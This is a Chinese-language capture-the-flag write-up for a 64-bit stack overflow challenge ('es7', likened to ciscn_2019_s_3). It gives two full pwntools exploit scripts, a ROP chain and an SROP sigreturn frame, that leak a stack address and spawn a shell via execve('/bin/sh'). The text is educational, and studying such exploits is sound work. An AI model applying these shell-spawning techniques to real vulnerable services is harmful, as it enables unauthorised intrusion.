这道题好像和buu的ciscn_2019_s_3是一模一样的
看保护
64位,没开canary和pie
看ida
题目还有能往rax传递0x3B和0xf的函数,这就提示我们可以用系统调用来getshell
解法一(系统调用execve):
完整exp:
from pwn import*
context(log_level='debug')
p=process('./es7')
ret=0x4003a9
pop_rdi=0x4005a3
pop_rsi_r15=0x4005a1
syscall=0x400517
mov_rax_3b=0x4004E2
pop_rbx_rbp_r12_r13_r14_r15=0x40059A
mov_rdx_r13=0x400580
main=0x4004F1
payload=b'/bin/sh\x00'
payload=payload.ljust(0x10,b'\x00')
payload+=p64(main)
p.send(payload) #这里用sendline会覆盖输出地址的一个字节
print(len(payload))
p.recv(32)
onestack=u64(p.recv(6).ljust(8,b'\x00'))
print(hex(onestack))
binsh=onestack-0x118 #调试确定位置,打远程是-0x118,打本地是-0x148
payload=b'a'*0x10+p64(pop_rbx_rbp_r12_r13_r14_r15)+p64(0)*2+p64(binsh+0x58)+p64(0)*3+p64(mov_rdx_r13)+p64(pop_rdi)+p64(binsh)+p64(mov_rax_3b)+p64(syscall)
print(hex(binsh+0x50))
print(len(payload))
p.sendline(payload)
p.interactive()
补充点1:binsh+0x58那里是因为要传一个可以跳转的地址给call指令,不然可能会报错或者一直循环。
补充点2:64位系统调用的寄存器传参顺序是rdi,rsi,rdx等,rax是用来存系统调用号的,将相应参数存入对应寄存器,就可以syscall进行系统调用了。
解法二(srop):
完整exp:
from pwn import*
context(log_level='debug',arch='amd64')
p=process('./es7')
ret=0x4003a9
pop_rdi=0x4005a3
pop_rsi_r15=0x4005a1
syscall=0x400517
mov_rax_3b=0x4004E2
mov_rax_0f=0x4004Da
pop_rbx_rbp_r12_r13_r14_r15=0x40059A
mov_rdx_r13=0x400580
main=0x4004F1
payload=b'/bin/sh\x00'
payload=payload.ljust(0x10,b'\x00')
payload+=p64(main)
p.send(payload)
print(len(payload))
p.recv(32)
onestack=u64(p.recv(6).ljust(8,b'\x00'))
print(hex(onestack))
binsh=onestack-0x118 #打远程这里是-0x118,打本地是-0x148
sigreframe=SigreturnFrame()
sigreframe.rax=constants.SYS_execve #这里填系统调用号59也行
sigreframe.rip=syscall
sigreframe.rdi=binsh
sigreframe.rsi=0
sigreframe.rdx=0
payload=b'a'*0x10+p64(mov_rax_0f)+p64(syscall)+bytes(sigreframe)
p.sendline(payload)
p.interactive()